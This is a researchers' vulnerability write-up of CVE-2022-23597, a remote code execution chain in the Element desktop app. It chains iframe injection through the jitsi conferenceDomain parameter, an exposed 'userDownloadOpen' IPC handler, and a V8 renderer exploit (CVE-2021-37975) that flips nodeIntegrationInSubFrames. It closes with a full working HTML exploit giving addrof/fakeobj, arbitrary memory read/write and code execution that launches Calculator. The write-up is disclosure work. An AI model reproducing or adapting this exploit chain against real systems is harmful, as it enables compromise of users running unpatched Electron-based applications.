Remote Code Execution on Element Desktop Application using Node Integration in Sub Frames Bypass - CVE-2022-23597
– by s1r1us and TheGrandPew
During our Electron Desktop Application hacking frenzy, Pew informed me on Discord about a Desktop Application called Element in which he was able to insert an external iframe. We began examining the Element source code, which is public here, and eventually succeeded in Remote Code Execution.
Let’s dig into the details of the bug right away!
Bug #1: IFrame Injection
This is rather a feature than a bug, Element supports jitsi for conference calls, which provides options for self-hosting your own server. According to docs, conferenceDomain
query parameter can be provided to embed an self-hosting conference server. Furthermore, the doc says The url is typically something we shove into an iframe with "sandboxing"
. As, it was “sandboxed” it won’t be an issue right? right?
PoC for Iframe Injection
The following URL can be used to embed an external site named pwn.af
.
https://app.element.io/jitsi.html?conferenceDomain=pwn.af&conferenceId=xxd&userId=pew
Desktop Application PoC:
element://vector/webapp/jitsi.html?conferenceDomain=pwn.af&conferenceId=xxd&userId=pew
By using the above PoC, we can get JavaScript Execution on the Desktop App. The issue is Element Desktop Applicaiton fully enables sandbox. As you can noticed in the below script sandbox is enabled via app.enableSandbox()
, also note that nodeIntegrationInSubFrames
is not explicitly enabled which is disabled by default.
1 app.enableSandbox();
2 global.mainWindow = new BrowserWindow({
3 [...]
4 webPreferences: {
5 preload: preloadScript,
6 nodeIntegration: false,
7 //sandbox: true, // We enable sandboxing from app.enableSandbox() above
8 contextIsolation: true,
9 webgl: true,
10 },
This situation is different from previous Discord bug where sandbox is not fully enabled. There are few things we can look for, if sandbox is disabled on main window.
- Check if there are any
new-window
ornavigation
misconfiguration similar to Discord bug. - Check if there are any
postMessage
issues on main frame. - Find a XSS on subdomain of the parent window(app.element.io). To perform
same-origin
spoofing similar to the challenge I gave in BSides Ahmedabad CTF. - Finally, we can look for sensitive
ipcMain
handlers on main window which can be reached through CVE-2022-29247 we reported to Electron
Now, the only option we have is four as the app is fully sandboxed.
Bug? #2: Finding Remote Code Execution Sinks on Desktop App
After grepping for ipcMain.on
and ipcMain.handle
we came across to an interesting IPC handler defined to open user Downloaded files.
1//https://github.com/vector-im/element-desktop/blob/53e7100033a9c9283f79bb3a4c5070a461709631/src/webcontents-handler.ts#L248
2ipcMain.on('userDownloadOpen', function(ev: IpcMainEvent, { path }) {
3 shell.openPath(path);
4});
And, this is exposed to Main Window parent frame using preload scripts contextBridge as below.
1contextBridge.exposeInMainWorld(
2 "electron",
3 {
4 on(channel: string, listener: (event: IpcRendererEvent, ...args: any[]) => void): void {
5 if (!CHANNELS.includes(channel)) {
6 console.error(`Unknown IPC channel ${channel} ignored`);
7 return;
8 }
9 ipcRenderer.on(channel, listener);
10 },
11 send(channel: string, ...args: any[]): void {
12 if (!CHANNELS.includes(channel)) {
13 console.error(`Unknown IPC channel ${channel} ignored`);
14 return;
15 }
16 ipcRenderer.send(channel, ...args);
17 },
18 },
19);
So, by sending an following IPC from the main frame, we can achieve Remote Code Execution on Element Desktop.
1electron.send('userDownloadOpen',{path:'C:\\Windows\\System32\\calc.exe'})
Now, Let’s consider our options on how to get access to electron.send
from the iframe which we have XSS on.
- Get an XSS on Main window and access
electron.send
directly. - Use CVE-2022-29247 nodeIntegrationInSubFrames and get access to
electron.send
in our iframe.
We audited Main Window JavaScript for XSS sinks, we couldn’t find anything interesting. So, we decided to use second option which seems to be easily achieved as the Element Desktop is using an old version of Electron.
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Element/1.9.5 Chrome/91.0.4472.164 Electron/13.5.1 Safari/537.36
What is nodeIntegrationInSubFrames?
It is important to understand what nodeIntegrationSubFrames
is clearly, from the official Electron Documentation the nodeIntegrationInSubFrames
webPreference
is defined as follows.
nodeIntegrationInSubFrames: Experimental option for enabling Node.js support in sub-frames such as iframes and child windows. All your preloads will load for every iframe, you can use process.isMainFrame to determine if you are in the main frame or not.
The important thing to note in the above statement for our exploit is that the nodeIntegrationSubFrames
enables preloads in iframes, in other words it exposes contextBridge
APIs to the iframes and child windows. Which is what we exactly wanted to get access to electron.send
exposed by the Element Desktop Main window preload JS.
The situation we have can be described with the below picture.
As you, can see our frame doesn’t have access to electron.send
API.
Bug 3: Renderer Exploit to Enable nodeIntegrationInSubFrames CVE-2022-29247
Electron adds Electron-specific WebPreferences such as node_integration
, context_isolation
and node_integration_in_subframes
by patching the blink WebPreferences
. These preferences then later used to check if the specific RenderFrame
(a web frame) has access to Electron specific features such Node APIs, preload scripts, contextBridge and so on.
1--- a/third_party/blink/common/web_preferences/web_preferences.cc
2+++ b/third_party/blink/common/web_preferences/web_preferences.cc
3@@ -142,6 +142,19 @@ WebPreferences::WebPreferences()
4 fake_no_alloc_direct_call_for_testing_enabled(false),
5 v8_cache_options(blink::mojom::V8CacheOptions::kDefault),
6 record_whole_document(false),
7+ // Begin Electron-specific WebPreferences.
8+ context_isolation(false),
9+ is_webview(false),
10+ hidden_page(false),
11+ offscreen(false),
12+ node_integration(false),
13+ node_integration_in_worker(false),
14+ node_integration_in_sub_frames(false),
15+ enable_spellcheck(false),
16+ enable_plugins(false),
17+ enable_websql(false),
18+ webview_tag(false),
19+ // End Electron-specific WebPreferences.
20 cookie_enabled(true),
21 accelerated_video_decode_enabled(false),
22 animation_policy(
Let’s just concentrate on node_integration_in_sub_frames
which is needed for our Element RCE, the other WebPreferences exploitations will be described in coming blogs.
The decision to either allow preloads in child frames(RenderFrame
s) takes place in ElectronRenderFrameObserver:DidInstallConditionalFeatures
which is done in the same Renderer process instead of the Browser process.
1void ElectronSandboxedRendererClient::DidCreateScriptContext(
2 v8::Handle<v8::Context> context,
3 content::RenderFrame* render_frame) {
4 RendererClientBase::DidCreateScriptContext(context, render_frame);
5
6 // Only allow preload for the main frame or
7 // For devtools we still want to run the preload_bundle script
8 // Or when nodeSupport is explicitly enabled in sub frames
9 bool is_main_frame = render_frame->IsMainFrame();
10 bool is_devtools =
11 IsDevTools(render_frame) || IsDevToolsExtension(render_frame);
12 bool allow_node_in_sub_frames =
13 render_frame->GetBlinkPreferences().node_integration_in_sub_frames;
14 bool should_load_preload =
15 (is_main_frame || is_devtools || allow_node_in_sub_frames) &&
16 !IsWebViewFrame(context, render_frame);
17 if (!should_load_preload)
18 return;
19
20 injected_frames_.insert(render_frame);
21[...]
22}
As the check is done in the renderer process, using a renderer exploit the setting can be flipped which effectively enables nodeIntegrationInSubFrames
.
The only thing which is left is to write an exploit which flips the render_frame->GetBlinkPreferences().node_integration_in_sub_frames
somehow which is the hardest part for me.
Exploit Development with v8 exploit CVE-2021-37975
I decided to use CVE-2021-37975 to exploit the issue. Having not so much experience in exploit development, this was the very tiring and interesting part for me. Fun fact, I didn’t know nothing about v8 binary exploitation before our research and somehow was able to learn basic v8 exploitation thanks to my CTF mate ptr-yudai 😌. Even though, we usually use an public v8 exploit its not as easy as running it and popping the calculator. The hardest part I faced during this exploit writing is finding render_frame_
offset from window
object as it was not stable usually because of using hardcoded offsets dumbly. I used to spend days in lldb
to understand the v8 bug and find offsets to blink WebPreferences, but the popping calculator in the end made it worth doing.
Anywho, after trying for 2 days I was able to pull off full exploit. The following snippet shows the offset to render_frame->GetBlinkPreferences().node_integration_in_sub_frames
. You can find the full exploit in the end of the writeup.
1 var win = addrof(window);
2 console.log("[+] win address : " + win.hex());
3
4 var addr1 = half_read(win + 0x18n);
5 console.log("[+] win + 0x18 : " + addr1.hex());
6
7 var addr2 = full_read(addr1 + 0xf8n);
8 console.log("[+] add2: " + addr2.hex());
9
10 var web_pref = addr2 + 0x50008n;
11 var preload = full_read(web_pref + 0x1a0n);
12 console.log("[+] web_pref addr: " + web_pref.hex());
13
14
15 var nisf = web_pref + 0x1acn;
16 var nisf_val = full_read(nisf);
17 console.log("[+] nisf val = "+ nisf_val.hex());
18 var overwrite = nisf_val | 0x0000000000000001n //overwrite
19 full_write(nisf, overwrite);
20 var nisf_val = full_read(nisf);
21 console.log("[+] nisf val overwritten = "+ nisf_val.hex());
And finally, after enabling the nodeIntegrationInSubFrames we just need to create a same-origin RenderFrame
which will have access to electron.send
🔥.
1 frame = document.createElement("iframe")
2 frame.srcdoc="<script>electron.send('userDownloadOpen',{path:'/System/Applications/Calculator.app/Contents/MacOS/Calculator'})<\/script>";
3 document.body.appendChild(frame)
PoC
The final exploit looks like as below.
Here is the nice PoC which pop the calculator.
“Want to secure your electron or JS Application. Reach out us at hello@electrovolt.io or visit https://electrovolt.io to learn more”
Here is the full exploit to get RCE on Element.
1<html>
2<head></head>
3<b>pwn</b>
4<button onclick=pwn() >click me to pwn </button>
5<script>
6 function sleep(miliseconds) {
7 var currentTime = new Date().getTime();
8 while (currentTime + miliseconds >= new Date().getTime()) {
9 }
10}
11
12var initKey = {init : 1};
13var level = 4;
14var map1 = new WeakMap();
15var gcSize = 0x4fe00000;
16var sprayParam = 100;
17
18var dbl = [1.1,1.1,1.1,1.1];
19// %DebugPrint(dbl);
20
21//Get mapAddr using DebugPrint for double array (the compressed address of the map)
22// var mapAddr = 0x824a8e1;
23// var mapAddr = 0x82830e1
24var mapAddr = 0x83430e1
25
26var rwxOffset = 0x60;
27
28var code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
29var module = new WebAssembly.Module(code);
30var instance = new WebAssembly.Instance(module);
31var wasmMain = instance.exports.main;
32// %DebugPrint(instance);
33//Return values should be deleted/out of scope when gc happen, so they are not directly reachable in gc
34function hideWeakMap(map, level, initKey) {
35 let prevMap = map;
36 let prevKey = initKey;
37 for (let i = 0; i < level; i++) {
38 let thisMap = new WeakMap();
39 prevMap.set(prevKey, thisMap);
40 let thisKey = {'h' : i};
41 //make thisKey reachable via prevKey
42 thisMap.set(prevKey, thisKey);
43 prevMap = thisMap;
44 prevKey = thisKey;
45 if (i == level - 1) {
46 let retMap = new WeakMap();
47 map.set(thisKey, retMap);
48 return thisKey;
49 }
50 }
51}
52//Get the key for the hidden map, the return key is reachable as strong ref via weak maps, but should not be directly reachable when gc happens
53function getHiddenKey(map, level, initKey) {
54 let prevMap = map;
55 let prevKey = initKey;
56 for (let i = 0; i < level; i++) {
57 let thisMap = prevMap.get(prevKey);
58 let thisKey = thisMap.get(prevKey);
59 prevMap = thisMap;
60 prevKey = thisKey;
61 if (i == level - 1) {
62 return thisKey;
63 }
64 }
65}
66
67function setUpWeakMap(map) {
68// for (let i = 0; i < 1000; i++) new Array(300);
69 //Create deep enough weak ref trees to hiddenMap so it doesn't get discovered by concurrent marking
70 let hk = hideWeakMap(map, level, initKey);
71//Round 1 maps
72 let hiddenMap = map.get(hk);
73 let map7 = new WeakMap();
74 let map8 = new WeakMap();
75
76//hk->k5, k5: discover->wl
77 let k5 = {k5 : 1};
78 let map5 = new WeakMap();
79 let k7 = {k7 : 1};
80 let k9 = {k9 : 1};
81 let k8 = {k8 : 1};
82 let ta = new Uint8Array(1024);
83 ta.fill(0xfe);
84 let larr = new Array(1 << 15);
85 larr.fill(1.1);
86 let v9 = {ta : ta, larr : larr};
87 map.set(k7, map7);
88 map.set(k9, v9);
89
90//map3 : kb|vb: initial discovery ->wl
91 hiddenMap.set(k5, map5);
92 hiddenMap.set(hk, k5);
93
94//iter2: wl: discover map5, mark v6 (->k5) black, discovery: k5 black -> wl
95//iter3: wl: map5 : mark map7, k7, no discovery, iter end
96 map5.set(hk, k7);
97
98//Round 2: map5 becomes kb in current, initial state: k7, map7 (black), goes into wl
99//iter1
100
101//wl discovers map8, and mark k8 black
102 map7.set(k8, map8);
103 map7.set(k7, k8);
104
105//discovery moves k8, map8 into wl
106//iter2 marks k9 black, iter finished
107 map8.set(k8,k9);
108
109}
110
111
112var conversion_buffer = new ArrayBuffer(8);
113var float_view = new Float64Array(conversion_buffer);
114var int_view = new BigUint64Array(conversion_buffer);
115BigInt.prototype.hex = function() {
116 return '0x' + this.toString(16);
117};
118BigInt.prototype.i2f = function() {
119 int_view[0] = this;
120 return float_view[0];
121}
122Number.prototype.f2i = function() {
123 float_view[0] = this;
124 return int_view[0];
125}
126
127
128
129var view = new ArrayBuffer(24);
130var dblArr = new Float64Array(view);
131var intView = new Int32Array(view);
132var bigIntView = new BigInt64Array(view);
133
134function ftoi32(f) {
135 dblArr[0] = f;
136 return [intView[0], intView[1]];
137}
138
139function i32tof(i1, i2) {
140 intView[0] = i1;
141 intView[1] = i2;
142 return dblArr[0];
143}
144
145function itof(i) {
146 bigIntView = BigInt(i);
147 return dblArr[0];
148}
149
150function ftoi(f) {
151 dblArr[0] = f;
152 return bigIntView[0];
153}
154
155BigInt.prototype.hex = function() {
156 return '0x' + this.toString(16);
157};
158
159Number.prototype.hex = function() {
160 return '0x' + this.toString(16);
161};
162
163function gc() {
164 //trigger major GC: See https://tiszka.com/blog/CVE_2021_21225_exploit.html (Trick #2: Triggering Major GC without spraying the heap)
165 new ArrayBuffer(gcSize);
166}
167
168
169function restart() {
170 //Should deopt main if it gets optimized
171 global.__proto__ = {};
172 gc();
173 sleep(2000);
174 pwn();
175}
176
177function pwn() {
178 setUpWeakMap(map1);
179 gc();
180
181 let objArr = [];
182
183 for (let i = 0; i < sprayParam; i++) {
184 let thisArr = new Array(1 << 15);
185 objArr.push(thisArr);
186 }
187 //These are there to stop main being optimized by JIT
188 globalIdx['a' + globalIdx] = 1;
189 //Can't refactor this, looks like it cause some double rounding problem (got optimized?)
190 for (let i = 0; i < objArr.length; i++) {
191 let thisArr = objArr[i];
192 thisArr.fill(instance);
193 }
194 globalIdx['a' + globalIdx + 1000] = 1;
195 let result = null;
196 try {
197 result = fetch();
198 } catch (e) {
199 console.log("fetch failed");
200 restart();
201 return;
202 }
203 if (!result) {
204 console.log("fail to find object address.");
205 restart();
206 return;
207 }
208 let larr = result.larr;
209 let index = result.idx;
210
211 let instanceAddr = ftoi32(larr[index])[0];
212 let instanceFloatAddr = larr[index];
213 console.log("found instance address: 0x" + instanceAddr.toString(16) + " at index: " + index);
214 let x = {};
215 for (let i = 0; i < objArr.length; i++) {
216 let thisArr = objArr[i];
217 thisArr.fill(x);
218 }
219
220 globalIdx['a' + globalIdx + 5000] = 1;
221
222 larr[index] = instanceFloatAddr;
223 let objArrIdx = -1;
224 let thisArrIdx = -1;
225 for (let i = 0; i < objArr.length; i++) {
226 globalIdx['a' + globalIdx + 3000] = 1;
227 global.__proto__ = {};
228 let thisArr = objArr[i];
229 for (let j = 0; j < thisArr.length; j++) {
230 let thisObj = thisArr[j];
231 if (thisObj == instance) {
232 console.log("found window object at: " + i + " index: " + j);
233 objArrIdx = i;
234 thisArrIdx = j;
235 }
236 }
237 }
238 globalIdx['a' + globalIdx + 4000] = 1;
239 if (objArrIdx == -1) {
240 console.log("failed getting fake object index.");
241 restart();
242 return;
243 }
244 let obj_arr = objArr[objArrIdx];
245 let double_arr = larr;
246
247 //%DebugPrint(objArr[objArrIdx][thisArrIdx]);
248
249 function addrof(obj){
250
251 obj_arr.fill(obj);
252 return (double_arr[index].f2i() & 0xffffffffn) - 1n;
253
254 }
255
256 function fakeobj(addr){
257 globalIdx['a' + globalIdx + 2001] = 1;
258
259 larr[index] = addr
260 return objArr[objArrIdx][thisArrIdx];
261
262 }
263
264 globalIdx['a' + globalIdx + 2000] = 1;
265
266
267 // Fake map
268 let addr_proto = addrof(Array.prototype);
269 console.log("[+] addr_proto = " + addr_proto.hex());
270 let fake_map = [
271 0x1604040408042119n.i2f(),
272 0x0a0004002100043dn.i2f(),
273 (addr_proto | 1n).i2f()
274 ];
275
276 //%DebugPrint(fake_map);
277 let addr_map = addrof(fake_map) + 0x74n;
278 if((addr_map%8n)!=0)
279 addr_map -= 4n //for some reason it should %8 = 0
280 console.log("[+] fake map: " + addr_map.hex());
281
282 let obj = [1.1,1.1,1.1];
283 //%DebugPrint(obj);
284
285 let addr = Number(addrof(obj)) | 1 ;
286
287 let objEleAddr = addr + 0x18 + 0x8 ;
288 let floatAddr = i32tof(objEleAddr, objEleAddr);
289 let floatMapAddr = i32tof(Number(addr_map) | 1, Number(addr_map) | 1);
290 //Faking an array at using obj[0] and obj[1]
291 obj[0] = floatMapAddr;
292 // let eleLength = i32tof(instanceAddr + rwxOffset, 10);
293 //fake object at element of obj
294 larr[index] = floatAddr;
295 let fakeArray = objArr[objArrIdx][thisArrIdx];
296
297 function half_read(addr){
298 // let element = i32tof(addr-8, 10);//-8 exact addr
299 let element = (0x888800000001n | (addr-8n)).i2f();
300 obj[1] = element;
301 return fakeArray[0].f2i();
302
303 }
304 function half_write(addr, value){
305
306 // let element = i32tof(addr-8, 10);
307 let element = (0x888800000001n | (addr-8n)).i2f();
308 obj[1] = element;
309 fakeArray[0] = value.i2f();
310 }
311
312 //full read write
313 let evil = new Float64Array(0x10);
314 let addr_evil = addrof(evil);
315 console.log("[+] addr_evil = " + addr_evil.hex());
316 let orig_evil = half_read(addr_evil + 0x28n);
317 console.log("[+] backing store of typed array: " + orig_evil.hex());
318 function full_read(addr) {
319 half_write(addr_evil + 0x28n, addr);
320 return evil[0].f2i();
321 }
322 function full_write(addr, value) {
323 half_write(addr_evil + 0x28n, addr);
324 evil[0] = value.i2f();
325 }
326 function full_cleanup() {
327 half_write(addr_evil + 0x28n, orig_evil);
328 }
329
330 var win = addrof(window);
331 console.log("[+] win address : " + win.hex());
332
333 var addr1 = half_read(win + 0x18n);
334 console.log("[+] win + 0x18 : " + addr1.hex());
335
336 var addr2 = full_read(addr1 + 0xf8n);
337 console.log("[+] add2: " + addr2.hex());
338
339 var web_pref = addr2 + 0x50008n;
340 var preload = full_read(web_pref + 0x1a0n);
341 console.log("[+] web_pref addr: " + web_pref.hex());
342
343 console.log("[+] preload addr: " + preload.hex());
344
345 var ciso = web_pref + 0x184n
346 var nisf = web_pref + 0x1acn;
347 var nisf_val = full_read(nisf);
348 console.log("[+] nisf val = "+ nisf_val.hex());
349 var overwrite = nisf_val | 0x0000000000000001n
350 full_write(nisf, overwrite);
351 var nisf_val = full_read(nisf);
352 console.log("[+] nisf val overwritten = "+ nisf_val.hex());
353
354 // var ciso_val = full_read(ciso);
355 // console.log("[+] ciso val = "+ ciso_val.hex());
356 // var overwrite = ciso_val & (0xffffffffffffff00n);
357 // full_write(ciso, overwrite);
358 // var nisf_val = full_read(ciso);
359 // console.log("[+] ciso val overwritten = "+ ciso_val.hex());
360
361
362
363
364 frame = document.createElement("iframe")
365 frame.srcdoc="<script>electron.send('userDownloadOpen',{path:'/System/Applications/Calculator.app/Contents/MacOS/Calculator'})<\/script>";
366 document.body.appendChild(frame)
367
368}
369
370function findTA(ta) {
371 let found = false;
372 for (let i = 0; i < 16; i++) {
373 if (ta[i] != 0xfe) {
374 console.log(ta[i]);
375 return true;
376 }
377 }
378 console.log(ta[0]);
379 return found;
380}
381
382function findLArr(larr) {
383 for (let i = 0; i < (1 << 15); i++) {
384 if (larr[i] != 1.1) {
385 let addr = ftoi32(larr[i]);
386 return i;
387 }
388 }
389 return -1;
390}
391
392function fetch() {
393 let hiddenKey = getHiddenKey(map1, level, initKey);
394 let hiddenMap = map1.get(hiddenKey);
395 let k7 = hiddenMap.get(hiddenMap.get(hiddenKey)).get(hiddenKey);
396 let k8 = map1.get(k7).get(k7);
397 let map8 = map1.get(k7).get(k8);
398
399 let larr = map1.get(map8.get(k8)).larr;
400 let index = findLArr(larr);
401 if (index == -1) {
402 return;
403 }
404 return {larr : larr, idx : index};
405}
406global = {};
407globalIdx = 0;
408pwn();
409</script>
410</html>